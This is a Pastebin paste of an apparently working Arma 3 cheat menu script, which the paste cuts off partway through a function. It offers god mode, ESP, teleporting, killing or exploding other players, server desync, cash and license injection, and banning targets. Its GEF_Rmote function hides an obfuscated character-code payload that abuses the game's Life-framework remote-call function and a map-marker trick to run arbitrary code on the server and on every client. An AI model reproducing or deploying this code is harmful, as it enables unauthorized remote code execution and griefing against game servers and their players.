Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- [] spawn {
- [] spawn {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- while{true} do {
- onMapSingleClick '_fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};if(_alt) then {(vehicle player) setpos _pos;hint "Teleported!";};false';
- };
- };
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(!isNil "GEF_curCheatMenu") exitwith {};
- GEF_curCheatMenu = "GEF_Menu_Main";
- GEF_lastSelPlr = "";
- GEF_lastChatText = "";
- GEF_Menu_Title = [
- ["=== Main Menu ===","GEF_Menu_Main","",false,true,false,""],
- ["=== Target Menu ===","GEF_Menu_Target","",false,true,false,""],
- ["=== All Menu ===","GEF_Menu_All","",false,true,false,""],
- ["=== Misc Menu ===","GEF_Menu_Misc","",false,true,false,""],
- ["=== Morph Menu ===","GEF_Menu_Morph","",false,true,false,""],
- ["=== Life Menu ===","GEF_Menu_Life","",false,true,false,""]
- ];
- GEF_Menu_Divider = [
- ["====== Titans Menu ======","","",true,false,false,""]
- ];
- GEF_Menu_Main = GEF_Menu_Title + GEF_Menu_Divider + [
- ["God Mode","GEF_God","",false,false,true,"GEF_god_TOGGLE"],
- ["ESP","GEF_Esp","",false,false,true,"GEF_ESP_TOGGLE"], //--
- ["PLAYER Markers","OQrv8OYvXgQjIh2aFY5q_Mapesp","",false,false,true,"GEF_Markers_TOGGLE"], //--
- ["Fly Mode","LY_fly","",false,false,true,"LY_BelieveIcanFly"], //--
- ["No Clip","GEF_NoClip","",false,false,true,"GEF_NoClip_Toggle"], //--
- ["Invisible","GEF_Invisible","",false,false,true,"GEF_Invisible_Toggle"],
- ["Lower Terrain","GEF_Terrain","",false,false,true,"GEF_Terrain_Toggle"], //--
- ["Rapid Fire","GEF_RapidFire","",false,false,true,"GEF_RapidFire_Toggle"],
- ["No Recoil","GEF_NoRecoil","",false,false,true,"GEF_NoRecoil_Toggle"],
- ["Unlimited Ammo","GEF_UnlimitedAmmo","",false,false,true,"GEF_UnlimitedAmmo_Toggle"],
- ["Vehicle Speedhack","GEF_SpeedHack","",false,false,true,"GEF_VehicleSpeedhack_Toggle"],
- ["Vehicle Godmode","GEF_VehGod","",false,false,true,"GEF_VEHgod_TOGGLE"],
- ["Bullet Tracers","GEF_Tracers","",false,false,true,"GEF_TracerGEF_Toggle"], //--
- ["Test Remote Execution","GEF_Rmote","",false,false,false,""] //--
- ];
- GEF_Menu_Target = GEF_Menu_Title + GEF_Menu_Divider + [
- ["Kill Target","GEF_KillTarget","target",false,false,false,""],
- ["Neutralize Target","GEF_NeutralizeTarget","target",false,false,false,""],
- ["Sheep Bomb Target","GEF_SheepBombTarget","target",false,false,false,""],
- ["Mine Target","GEF_MineTarget","target",false,false,false,""],
- ["Rainbow Target","GEF_RainBowTarget","target",false,false,false,""],
- ["Lightning Strike Target","GEF_LightningStrikeTarget","target",false,false,false,""],
- ["Teleport to Target","GEF_TPTOTarget","target",false,false,false,""],
- ["Teleport Target Here","GEF_TPTargetTO","target",false,false,false,""],
- ["Lock Target","GEF_LockTarget","target",false,false,false,""],
- ["Unlock Target","GEF_UnlockTarget","target",false,false,false,""],
- ["Spectate Target","GEF_SpectateTarget","target",false,false,false,""],
- ["Explode Target","GEF_ExplodeTarget","target",false,false,false,""],
- ["Fuck Up Target","GEF_FuckTarget","target",false,false,false,""],
- ["Paradrop Target","GEF_Paradrop","target",false,false,false,""],
- ["Infect Target (Scroll Menu)","GEF_Infect","target",false,false,false,""],
- ["========= Weapon Kits =========","","",true,false,false,""],
- ["Cop","Kit_Cop","target",false,false,false,""],
- ["Assault","Kit_Assault","target",false,false,false,""],
- ["Heavy","Kit_Heavy","target",false,false,false,""],
- ["DMR","Kit_DMR","target",false,false,false,""],
- ["LLR","Kit_LLR","target",false,false,false,""],
- ["Sniper","Kit_Sniper","target",false,false,false,""],
- ["Light","Kit_Sub","target",false,false,false,""],
- ["Diver","Kit_Diver","target",false,false,false,""],
- ["UAV Controller","Kit_UAV","target",false,false,false,""]
- ];
- GEF_Menu_All = GEF_Menu_Title + GEF_Menu_Divider + [
- ["Kill All","GEF_KillAll","",false,false,false,""],
- ["ODST Drop","GEF_ODST","",false,false,false,""],
- ["Remove All Weapons","GEF_RemoveWeaponsAll","",false,false,false,""],
- ["Teleport All","GEF_TPAll","",false,false,false,""],
- ["Clean Up Server","GEF_CleanUp","",false,false,false,""]
- ];
- GEF_Menu_Misc = GEF_Menu_Title + GEF_Menu_Divider + [
- ["Deforestation Mode","GEF_deforestation","",false,false,true,"GEF_deforestation_toggle"],
- ["Map Drawing","GEF_Map_Drawing","",false,false,true,"GEF_Map_Drawing_Toggle"],
- ["Human Centipede","GEF_centipede","",false,false,true,"GEF_centipede_toggle"],
- ["Troll People","GEF_TrollPeople","",false,false,false,""],
- ["Defense Squad","GEF_DefenseSquad","",false,false,false,""],
- ["Thunder Dome","GEF_ThunderDome","",false,false,false,""],
- ["Spin All Buildings","GEF_SpinAllBuildings","",false,false,false,""],
- ["Spin CursorTarget","GEF_SpinCursorTarget","",false,false,false,""],
- ["Guess Who Got Hacked!","GEF_Advertise","",false,false,false,""],
- ["Nuke!","GEF_Nuke","",false,false,false,""],
- ["Rocket!","GEF_Rocket","",false,false,false,""],
- ["Kamakazi 50","GEF_Kamakazi_50","",false,false,false,""],
- ["Kamakazi 100","GEF_Kamakazi_100","",false,false,false,""],
- ["Kamakazi 500","GEF_Kamakazi_500","",false,false,false,""],
- ["News Banner","GEF_NewsBanner","",false,false,false,""],
- ["Desync Server","GEF_Desync","",false,false,false,""],
- ["A Dog is for life!","GEF_Dog","",false,false,false,""],
- ["Almighty Mode (PhysX Hack)","GEF_Almighty","",false,false,false,""],
- ["JME Fuckfest v1","GEF_Fuckfest_v1","",false,false,false,""],
- ["Cone Hats!","GEF_ConeHat","",false,false,false,""],
- ["Sack Hats!","GEF_BagHat","",false,false,false,""],
- ["Day Time!","GEF_TimeDay","",false,false,false,""],
- ["Night Time!","GEF_TimeNight","",false,false,false,""],
- ["Nyan Cat!","GEF_Nyan","",false,false,true,"GEF_NyanCat_Toggle"],
- ["Big Bullets","GEF_BBullets","",false,false,true,"GEF_BBulletGEF_Toggle"],
- ["========= Spawning =========","","",true,false,false,""],
- ["Hack Box","GEF_hackBox","",false,false,false,""],
- ["Jet Bus","GEF_JetBus","",false,false,false,""],
- ["Box Quad","GEF_BoxQuad","",false,false,false,""],
- ["HeliTank","GEF_HeliTank","",false,false,false,""],
- ["HeliBoat","GEF_HeliBoat","",false,false,false,""],
- ["Giant Robot","GEF_Robot","",false,false,false,""],
- ["Swasticopter","GEF_Swasticopter","",false,false,false,""],
- ["Dickopter","GEF_Dickopter","",false,false,false,""]
- ];
- GEF_Menu_Morph = GEF_Menu_Title + GEF_Menu_Divider + [
- ["VR: Soldier 1","GEF_Tranfos","B_Soldier_VR_F",false,false,false,""],
- ["VR: Soldier 2","GEF_Tranfos","O_Soldier_VR_F",false,false,false,""],
- ["VR: Soldier 3","GEF_Tranfos","I_Soldier_VR_F",false,false,false,""],
- ["VR: Soldier 4","GEF_Tranfos","C_Soldier_VR_F",false,false,false,""],
- ["VR: Protagonist 1","GEF_Tranfos","B_Protagonist_VR_F",false,false,false,""],
- ["VR: Protagonist 2","GEF_Tranfos","O_Protagonist_VR_F",false,false,false,""],
- ["VR: Protagonist 3","GEF_Tranfos","I_Protagonist_VR_F",false,false,false,""],
- ["VR: Protagonist 4","GEF_Tranfos","C_Protagonist_VR_F",false,false,false,""],
- ["Man: Civilian","GEF_Tranfos","C_man_1",false,false,false,""],
- ["Dog: Fin sand","GEF_Tranfos","Fin_sand_F",false,false,false,""],
- ["Dog: Fin Black White","GEF_Tranfos","Fin_blackwhite_F",false,false,false,""],
- ["Dog: Fin White","GEF_Tranfos","Fin_ocherwhite_F",false,false,false,""],
- ["Dog: Fin Tricolour","GEF_Tranfos","Fin_tricolour_F",false,false,false,""],
- ["Dog: Alsatian Sand","GEF_Tranfos","Alsatian_Sand_F",false,false,false,""],
- ["Dog: Alsatian Black","GEF_Tranfos","Alsatian_Black_F",false,false,false,""],
- ["Dog: Alsatian Sand Black","GEF_Tranfos","Alsatian_Sandblack_F",false,false,false,""],
- ["Animal: Goat","GEF_Tranfos","Goat_random_F",false,false,false,""],
- ["Animal: Sheep","GEF_Tranfos","Sheep_random_F",false,false,false,""],
- ["Animal: Rabbit","GEF_Tranfos","Rabbit_F",false,false,false,""],
- ["Animal: Hen","GEF_Tranfos","Hen_random_F",false,false,false,""],
- ["Animal: Cock","GEF_Tranfos","Cock_random_F",false,false,false,""],
- ["Animal: Snake","GEF_Tranfos","Snake_random_F",false,false,false,""],
- ["Animal: Turtle","GEF_Tranfos","Turtle_F",false,false,false,""]
- ];
- GEF_Menu_Life = GEF_Menu_Title + GEF_Menu_Divider + [
- ["Enable Instant Revive","GEF_IRevive","",false,false,false,""],
- ["Find Admins","GEF_FindAdmins","",false,false,false,""],
- ["Asylum Cash 100k","GEF_ACash","",false,false,false,""],
- ["Asylum Talents","GEF_Talents","",false,false,false,""],
- ["Ban Target","GEF_BanTarget","target",false,false,false,""],
- ["Life Cash 5k","GEF_Cash5k","target",false,false,false,""],
- ["Life Cash 10k","GEF_Cash10k","target",false,false,false,""],
- ["Life Cash 20k","GEF_Cash20k","target",false,false,false,""],
- ["Life Cash 50k","GEF_Cash50k","target",false,false,false,""],
- ["Life Cash 100k","GEF_Cash100k","target",false,false,false,""],
- ["Life Cash 500k","GEF_Cash500k","target",false,false,false,""],
- ["All Licenses","GEF_Licenses","",false,false,false,""],
- ["No Illegal Items","GEF_NoIllegal","",false,false,false,""],
- ["Stop Escorting","GEF_NoEscort","",false,false,false,""],
- ["Stop Transporting","GEF_NoTransport","",false,false,false,""],
- ["Stop Tazing","GEF_NoTaze","",false,false,false,""],
- ["Impound CursorTarget","GEF_Impound","",false,false,false,""],
- ["Unrestrain","GEF_Unrestrain","",false,false,false,""]
- ];
- GEF_Rmote = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(isNil 'TY_re_onetime') then {
- TY_re_onetime = createMarker ["SwagMarker",[-1000,-1000]];
- "SwagMarker" setMarkerShape "ICON";
- "SwagMarker" setMarkerType "Empty";
- "SwagMarker" setMarkerAlpha 0;
- _code = '_a = toString [91,93,32,115,112,97,119,110,32,123,95,102,110,99,95,115,99,114,105,112,116,78,97,109,101,32,61,32,105,102,32,40,105,115,110,105,108,32,34,95,102,110,99,95,115,99,114,105,112,116,78,97,109,101,34,41,32,116,104,101,110,32,123,34,70,117,110,99,116,105,111,110,115,32,73,110,105,116,34,125,32,101,108,115,101,32,123,95,102,110,99,95,115,99,114,105,112,116,78,97,109,101,125,59,105,102,40,105,115,83,101,114,118,101,114,41,32,116,104,101,110,32,123,119,104,105,108,101,123,116,114,117,101,125,32,100,111,32,123,13,10,9,9,9,9,119,97,105,116,85,110,116,105,108,123,40,109,97,114,107,101,114,84,101,120,116,32,34,83,119,97,103,77,97,114,107,101,114,34,41,32,33,61,32,34,34,125,59,13,10,9,9,9,9,95,116,101,120,116,32,61,32,109,97,114,107,101,114,84,101,120,116,32,34,83,119,97,103,77,97,114,107,101,114,34,59,13,10,9,9,9,9,34,83,119,97,103,77,97,114,107,101,114,34,32,115,101,116,77,97,114,107,101,114,84,101,120,116,32,34,34,59,13,10,9,9,9,9,40,34,76,79,71,73,67,34,41,32,99,114,101,97,116,101,85,110,105,116,91,91,48,44,48,44,48,93,44,99,114,101,97,116,101,71,114,111,117,112,32,115,105,100,101,76,111,103,105,99,44,34,59,34,32,43,32,95,116,101,120,116,32,43,32,34,59,34,93,59,13,10,9,9,9,9,125,59,125,59,125,59];
- _b = compile _a;
- [] spawn _b;';
- if(!isNil "LIFE_fnc_MP") then {
- [[_code],"DB_fnc_mresToArray",false,false] call LIFE_fnc_MP;
- hint 'INIT LIFE RE';
- } else {
- ("LOGIC") createUnit [[0,0,0],createGroup sideLogic,";" + _code + ";"];
- hint 'INIT RE';
- };
- uiSleep 1;
- };
- _t = _this select 0;
- _target = [_this,1,"SWAGGER"] call BISHfnc_param;
- _text = _t;
- if(typename _t == typename []) then {
- _text = _t select 0;
- };
- if(typename _text == "CODE") then {
- _arr = toArray str(_text);
- _arr set [0,32];
- _arr set [count(_arr)-1,32];
- _text = toString _arr;
- };
- if(typename _target != "STRING") then {
- if(typename _target == "OBJECT") then {
- _netId = netId _target;
- _text = format[" [] spawn {_fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};if(netid player == '%2') then {%1};};",_text,_netID];
- } else {
- if(typename _target == typename true) then {
- if(!_target) then {
- _text = format[" [] spawn {_fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};if(isServer) then {%1};};",_text];
- } else {
- _text = format[" [] spawn {_fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};if(!isServer) then {%1};};",_text];
- };
- } else {
- _text = format[" [] spawn {_fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};%1};",_text];
- };
- };
- } else {
- _text = format[" [] spawn {_fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};%1};",_text];
- };
- "SwagMarker" setMarkerText _text;
- };
- GEF_SideCouleur = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _object = _this;
- _side = side _object;
- _color = [0,0,0,1];
- if(_side == east) then {
- _color = [1,0,0,1];
- };
- if(_side == west) then {
- _color = [0,0,1,1];
- };
- if(_side == CIVILIAN) then {
- _color = [1,1,1,1];
- };
- if(_side == INDEPENDENT) then {
- _color = [0,1,0,1];
- };
- _color;
- };
- GEF_SideFlag = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _object = _this;
- _side = side _object;
- _flag = "\A3\data_f\Flags\flag_white_co.paa";
- if(_side == east) then {
- _flag = "\A3\data_f\Flags\flag_red_co.paa";
- };
- if(_side == west) then {
- _flag = "\A3\data_f\Flags\flag_blue_co.paa";
- };
- if(_side == INDEPENDENT) then {
- _flag = "\A3\data_f\Flags\flag_green_co.paa";
- };
- _flag;
- };
- GEF_Tranfos = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _agent = createAgent[_this,getposatl player,[],0,"NONE"];
- [_agent] joinSilent (group player);
- _oldPlayer = player;
- setPlayable _agent;
- selectPlayer _agent;
- _oldPlayer disableAI "MOVE";
- _oldPlayer disableAI "ANIM";
- _oldPlayer disableAI "FSM";
- hint 'PLAYER MORPHED!';
- };
- GEF_ChargerCmenu = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _ctrl = _this;
- lbClear _ctrl;
- _menu = [];
- call compile format["_menu = %1;",GEF_curCheatMenu];
- {
- _ctrl lbAdd (_x select 0);
- if(_x select 3) then {
- _ctrl lbSetColor [(lbSize _ctrl)-1,[0,0,1,1]];
- };
- if(_x select 4) then {
- _ctrl lbSetColor [(lbSize _ctrl)-1,[1,1,1,0.6]];
- };
- if(_x select 5) then {
- _toggleVar = _x select 6;
- _toggle = false;
- call compile format["_toggle = %1;",_toggleVar];
- if(_toggle) then {
- _ctrl lbSetColor [(lbSize _ctrl)-1,[0,1,0,1]];
- } else {
- _ctrl lbSetColor [(lbSize _ctrl)-1,[1,0,0,1]];
- };
- };
- if((_x select 1) == "GEF_SpawnWeapon") then {
- _ctrl lbSetPicture [(lbSize _ctrl)-1,getText(configfile >>"cfgWeapons" >> (_x select 2) >> "picture")];
- };
- if((_x select 1) == "GEF_SpawnVehicle") then {
- _ctrl lbSetPicture [(lbSize _ctrl)-1,getText(configfile >>"cfgVehicles" >> (_x select 2) >> "picture")];
- };
- } forEach _menu;
- };
- GEF_ChargerCjoueur = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _ctrl = _this;
- lbClear _ctrl;
- {
- if(isPlayer _x && alive _x && vehicle _x != _x) then {
- _ctrl lbAdd (name _x);
- _ctrl lbSetColor [(lbSize _ctrl)-1,_x call GEF_SideCouleur];
- _ctrl lbSetPicture [(lbSize _ctrl)-1,(gettext (configFile >> "CfgVehicles" >> (typeof vehicle _x) >> "picture"))];
- };
- } forEach allUnits;
- {
- if(isPlayer _x && alive _x && vehicle _x == _x) then {
- _ctrl lbAdd (name _x);
- _ctrl lbSetColor [(lbSize _ctrl)-1,_x call GEF_SideCouleur];
- _ctrl lbSetPicture [(lbSize _ctrl)-1,_x call GEF_SideFlag];
- };
- } forEach allUnits;
- };
- GEF_MaitreChat = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableserialization;
- _ctrl = _this;
- while{!isNull (finddisplay 602)} do {
- waitUntil{(isNull (finddisplay 602)) || (ctrlText _ctrl != GEF_lastChatText)};
- if(!isNull (finddisplay 602)) then {
- GEF_lastChatText = ctrltext _ctrl;
- };
- };
- };
- GEF_Demarrer = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _ctrl = _this select 0;
- _index = _this select 1;
- _menu = [];
- call compile format["_menu = %1;",GEF_curCheatMenu];
- _array = _menu select _index;
- _func = _array select 1;
- _param = _array select 2;
- _isSub = _array select 4;
- _isTitle = _array select 3;
- _isToggle = _array select 5;
- _toggleVar = _array select 6;
- if(_param == "target") then {_param = GEF_lastSelPlr;};
- if(_isTitle) exitWith {};
- if(_isSub) exitWith {GEF_curCheatMenu = _func;_ctrl call GEF_ChargerCmenu;};
- if(_isToggle) then {
- _toggle = false;
- call compile format["%1 = !%1;_toggle = %1;",_toggleVar];
- if(_toggle) then {
- _ctrl lbSetColor [(lbCurSel _ctrl),[0,1,0,1]];
- } else {
- _ctrl lbSetColor [(lbCurSel _ctrl),[1,0,0,1]];
- };
- call compile format["""%1"" spawn %2;",_param,_func];
- } else {
- call compile format["""%1"" spawn %2;",_param,_func];
- };
- if(_param == "custom") then {GEF_curCheatMenu = ("call GEF_CustomMenu");_ctrl call GEF_ChargerCmenu;};
- };
- ["Toggle Variables"] call {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- GEF_NyanCat_Toggle = false;
- GEF_BBulletGEF_Toggle = false;
- GEF_NoClip_Toggle = false;
- GEF_Invisible_Toggle = false;
- GEF_VehicleMarkerGEF_Toggle = false;
- GEF_Terrain_Toggle = false;
- GEF_RapidFire_Toggle = false;
- GEF_NoRecoil_Toggle = false;
- GEF_UnlimitedAmmo_Toggle = false;
- GEF_VehicleSpeedhack_Toggle = false;
- GEF_ESP_TOGGLE = false;
- GEF_god_TOGGLE = false;
- GEF_VEHgod_TOGGLE = false;
- GEF_MapMarkerGEF_Toggle = false;
- GEF_Map_Drawing_Toggle = false;
- GEF_Markers_TOGGLE = false;
- GEF_Map_Drawing_KeyDown = false;
- GEF_deforestation_toggle = false;
- LY_BelieveIcanFly = false;
- GEF_centipede_toggle = false;
- GEF_TracerGEF_Toggle = false;
- };
- };
- [] spawn {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableserialization;
- while{true} do {
- waituntil{!isNull (finddisplay 602)};
- _display = (finddisplay 602);
- //Get and Create Controls
- _background = _display ctrlCreate ["RscBackgroundGUI",-1];
- _hackFrame = _display ctrlCreate ["IGUIBack",1];
- _plrFrame = _display ctrlCreate ["IGUIBack",-1];
- _hackFrame2 = _display ctrlCreate ["RscFrame",-1];
- _plrFrame2 = _display ctrlCreate ["RscFrame",-1];
- _hackList = _display ctrlCreate ["RscIGUIListBox",-1];
- _plrList = _display ctrlCreate ["RscIGUIListBox",-1];
- _title = _display ctrlCreate ["RscText",-1];
- _RscListbox_1502 = _display ctrlCreate ["RscListbox",-1];
- _RscListbox_1503 = _display ctrlCreate ["RscListbox",-1];
- _RscText_1000 = _display ctrlCreate ["RscText",-1];
- _RscText_1001 = _display ctrlCreate ["RscText",-1];
- _RscText_1002 = _display ctrlCreate ["RscText",-1];
- _RscText_1003 = _display ctrlCreate ["RscText",-1];
- //Handle Position Variables
- _width = (safezonew/4);
- _height = (((((safezoneW / safezoneH) min 1.2) / 1.2) / 25) * 0.8)*12.2;
- _x = safezonex;
- _y = safezoney+(safezoneh - (safezoneh/1.05));
- _yOff = (_height/40);
- _xOff = (_width/40);
- _chatPos = ctrlPosition _chatField;
- _chatWidth = _chatPos select 2;
- _chatHeight = _chatPos select 3;
- _chatX = _chatPos select 0;
- _chatY = _chatPos select 1;
- _chatYoff = (_chatHeight*1.05);
- _btnWidth = _chatWidth / 3.1;
- _chatXoff = _chatWidth * 0.015;
- //Set Up Button Positioning
- _executeLocalBtn ctrlSetPosition [_chatX,_chatY - _chatYoff,_btnWidth,_chatHeight];
- _executeGlobalBtn ctrlSetPosition [_chatX + _btnWidth + _chatXoff,_chatY - _chatYoff,_btnWidth,_chatHeight];
- _executeServerBtn ctrlSetPosition [_chatX + (_btnWidth*2) + (_chatXoff*2),_chatY - _chatYoff,_btnWidth,_chatHeight];
- //Set Up Positioning
- _hackList ctrlSetPosition [_x, _y + 0.40, _width - 0.03, _height + 0.2];
- _plrList ctrlSetPosition [_x, _y + 0.72+ _height + _yOff, _width - 0.03, _height + 0.2];
- _hackFrame ctrlSetPosition [_x, _y + 0.40, _width - 0.03, _height + 0.2];
- _plrFrame ctrlSetPosition [_x, _y + 0.72 + _height + _yOff, _width - 0.03, _height + 0.2];
- _hackFrame2 ctrlSetPosition [_x, _y + 0.40, _width - 0.03, _height + 0.2];
- _plrFrame2 ctrlSetPosition [_x, _y + 0.72 + _height + _yOff, _width - 0.03, _height + 0.2];
- _RscListbox_1502 ctrlSetPosition [0.025,0.99,0.45,0.38];
- _RscListbox_1503 ctrlSetPosition [0.5,0.99,0.475,0.38];
- _RscText_1000 ctrlSetPosition [_x + 0.18, _y + 0.08, _width - 0.03, _height + 0.2]; //Text Script
- _RscText_1001 ctrlSetPosition [_x + 0.18, _y + 0.4 + _height + _yOff, _width - 0.03, _height + 0.2]; // Text player
- _RscText_1002 ctrlSetPosition [_x + 0.75, _y + 0.61 + _height + _yOff, _width - 0.03, _height + 0.2]; // Weapons
- _RscText_1003 ctrlSetPosition [_x + 1.25, _y + 0.61 + _height + _yOff, _width - 0.03, _height + 0.2]; // Vehicles
- //Change Fonts
- _executeLocalBtn ctrlsetfont "TahomaB";
- _executeGlobalBtn ctrlsetfont "TahomaB";
- _executeServerBtn ctrlsetfont "TahomaB";
- _hackList ctrlsetfont "TahomaB";
- _plrList ctrlsetfont "TahomaB";
- _title ctrlsetfont "TahomaB";
- //Set Up Buttons
- _executeLocalBtn ctrlsettext "Execute on Self";
- _executeServerBtn ctrlsettext "Execute on Server";
- _executeGlobalBtn ctrlsettext "Execute on All";
- //Set up Texts
- _RscText_1000 ctrlSetText "Scripts";
- _RscText_1001 ctrlSetText "Players";
- _RscText_1002 ctrlSetText "Weapons";
- _RscText_1003 ctrlSetText "Vehicles";
- //Set Up Title
- _title ctrlsetbackgroundcolor [0,0,0,0.5];
- _title ctrlsetforegroundcolor [0,1,1,1];
- _title ctrlsettextcolor [0,1,1,1];
- _RscText_1000 ctrlSetTextColor [0,1,1,1];
- _RscText_1001 ctrlSetTextColor [0,1,1,1];
- _RscText_1002 ctrlSetTextColor [0,1,1,1];
- _RscText_1003 ctrlSetTextColor [0,1,1,1];
- //Control Functions
- _hackList call GEF_ChargerCmenu;
- _plrList call GEF_ChargerCjoueur;
- _chatField spawn GEF_MaitreChat;
- //Control Event Handlers
- _RscListbox_1503 ctrlAddEventHandler ["LbDblClick",{disableserialization;_this spawn vehicle_dblclick}];
- _RscListbox_1502 ctrlAddEventHandler ["LbDblClick",{disableserialization;_this spawn GEF_wep_dblclick}];
- _hackList ctrlAddEventHandler["LBDblClick",{disableserialization;_this call GEF_Demarrer;}];
- _plrList ctrlAddEventHandler ["LBSelChanged",{disableserialization;GEF_lastSelPlr = (_this select 0) lbText (_this select 1);}];
- //Vehicle Markers
- _map ctrlAddEventHandler ["Draw",{
- _map = _this select 0;
- {
- _cfg = configFile >> "cfgVehicles" >> typeof _x;
- _text = format[toString[10] + "%1 (%2)",getText(_cfg >> "DisplayName"),count(crew _x)];
- {
- _text = _text + ":"+ (name _x);
- } forEach (crew _x);
- _map drawIcon [getText(_cfg >> "Icon"),_x call GEF_SideCouleur,getposatl _x,24,24,getdir _x,_text,0,0.03,"EtelkaNarrowMediumPro","right"];
- } forEach vehicles;
- }];
- //Player Markers
- _map ctrlAddEventHandler ["Draw",{
- _map = _this select 0;
- {
- if(vehicle _x == _x && alive _x && isPlayer _x) then {
- _cfg = configFile >> "cfgVehicles" >> typeof _x;
- _map drawIcon [getText(_cfg >> "Icon"),_x call GEF_SideCouleur,getposatl _x,24,24,getdir _x,name _x,0,0.03,"EtelkaNarrowMediumPro","right"];
- };
- } forEach allUnits;
- }];
- _executeLocalBtn buttonSetAction "[] spawn compile (ctrlText 101);";
- _executeGlobalBtn buttonSetAction "[ctrlText 101,true] call GEF_Rmote;";
- _executeServerBtn buttonSetAction "[ctrlText 101,false] call GEF_Rmote;";
- _plrList ctrlCommit 0;
- _hackList ctrlCommit 0;
- _title ctrlCommit 0;
- _executeLocalBtn ctrlCommit 0;
- _executeGlobalBtn ctrlCommit 0;
- _executeServerBtn ctrlCommit 0;
- _background ctrlCommit 0;
- _hackFrame ctrlCommit 0;
- _plrFrame ctrlCommit 0;
- _hackFrame2 ctrlCommit 0;
- _plrFrame2 ctrlCommit 0;
- _map ctrlCommit 0;
- _RscListbox_1502 ctrlCommit 0;
- _RscListbox_1503 ctrlCommit 0;
- _RscText_1000 ctrlCommit 0;
- _RscText_1001 ctrlCommit 0;
- _RscText_1002 ctrlCommit 0;
- _RscText_1003 ctrlCommit 0;
- _RscListbox_1503 spawn GEF_vehiclelist;
- _RscListbox_1502 spawn GEF_weaponlist;
- waitUntil{isNull (finddisplay 602)};//wait till chat is closed
- };
- };
- GEF_vehiclelist = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableserialization;
- _ctrl = _this;
- if(isNil "vehicle_array") then {
- vehicle_array = [];
- _usedNames = [];
- _cfg = configFile >> "cfgVehicles";
- for "_i" from 0 to count(_cfg)-1 do {
- if(isNull _ctrl) exitWith {vehicle_array = nil;};
- _config = _cfg select _i;
- _cname = configName _config;
- _scope = getNumber(_config >> "scope");
- _pic = getText(_config >> "picture");
- _name = getText(_config >> "displayName");
- if(_scope == 2 && (_cname isKindOf "LandVehicle" || _cname isKindOf "Air" || _cname isKindOf "Ship") && !(_name in _usedNames) && _pic != "") then {
- _index = _ctrl lbAdd _name;
- _ctrl lbSetPicture [_index,_pic];
- vehicle_array pushBack _cname;
- _usedNames pushBack _name;
- };
- };
- } else {
- {
- if(isNull _ctrl) exitWith {};
- _config = configFile >> "cfgVehicles" >> _x;
- _cname = configName _config;
- _scope = getNumber(_config >> "scope");
- _pic = getText(_config >> "picture");
- _name = getText(_config >> "displayName");
- if(_scope == 2 && (_cname isKindOf "LandVehicle" || _cname isKindOf "Air" || _cname isKindOf "Ship")) then {
- _index = _ctrl lbAdd _name;
- _ctrl lbSetPicture [_index,_pic];
- };
- } forEach vehicle_array;
- };
- _ctrl lbAdd "";
- };
- vehicle_dblclick = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _index = _this select 1;
- if(_index >= count(vehicle_array)) exitWith {};
- _v = vehicle_array select _index;
- if(isServer) then {
- _v createVehicle ((vehicle player) modelToWorld [0,5,0]);
- } else {
- if(isNil 'DB_fnc_cvFinished') then {
- _server = {
- DB_fnc_createVehicle = {
- _veh = _this select 0;
- _plr = _this select 1;
- _pos = _plr modelToWorld [0,5,0];
- _veh createVehicle _pos;
- [_veh] call life_fnc_clearVehicleAmmo;
- [[_veh,"trunk_in_use",false,true],"TON_fnc_setObjVar",false,false] call life_fnc_MP;
- [[_veh,"vehicle_info_owners",[[getPlayerUID _plr,name _plr]],true],"TON_fnc_setObjVar",false,false] call life_fnc_MP;
- _veh disableTIEquipment true;
- [_veh,"DB_fnc_cvFinished",_plr,false] call LIFE_fnc_MP;
- };
- };
- DB_fnc_cvFinished = {
- };
- [_server,false] call fnc_Exec;
- uiSleep 1;
- };
- [[_v,player],"DB_fnc_createVehicle",false,false] call LIFE_fnc_MP;
- };
- };
- GEF_weaponlist = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableserialization;
- _ctrl = _this;
- if(isNil "GEF_wep_array") then {
- GEF_wep_array = [];
- _usedNames = [];
- _cfg = configFile >> "cfgWeapons";
- for "_i" from 0 to count(_cfg)-1 do {
- if(isNull _ctrl) exitWith {GEF_wep_array = nil;};
- _config = _cfg select _i;
- _cname = configName _config;
- _scope = getNumber(_config >> "scope");
- _pic = getText(_config >> "picture");
- _name = getText(_config >> "displayName");
- if(_scope == 2 && !(_name in _usedNames) && _pic != "") then {
- _index = _ctrl lbAdd _name;
- _ctrl lbSetPicture [_index,_pic];
